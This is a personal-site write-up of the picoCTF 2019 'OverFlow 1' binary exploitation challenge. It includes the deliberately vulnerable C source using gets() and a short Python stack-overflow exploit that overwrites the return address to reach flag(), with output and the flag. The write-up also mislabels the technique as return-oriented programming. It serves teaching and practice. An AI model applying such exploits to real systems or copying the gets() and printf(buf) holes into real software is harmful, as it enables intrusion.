Jason Turley's Website

picoCTF 2019 - OverFlow 1 writeup

Description

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program?

Category: Binary Exploitation

Points: 150

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

Explanation

The code reads in user input and prints the return address the code will jump to. It uses the vulnerable gets function. This means we can overwrite the return address to point to somewhere else on the stack! This exploit is known as return oriented programming.

Note: get_return_address is a custom function created by the level designers and stored in the header file “asm.h”. The closest “official” alternative I found were these GCC built-in functions.

Plan

Exploit

Before we can modify the return address we need to overflow the buffer, base pointer (ebp), and any padding added by the compiler. For me this required 76 bytes of garbage data. Finally, add the new return address (flag) to overwrite the old return address (eip).

import struct

padding = 'A' * 76                      # overflow buffer and base pointer
new_eip = struct.pack('I', 0x080485e6)  # start address of flag()

print(padding + new_eip)

Running the above python code gives the following result:

$ python /tmp/overflow1/exploit.py | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5fe1ff3d8}Segmentation fault (core dumped)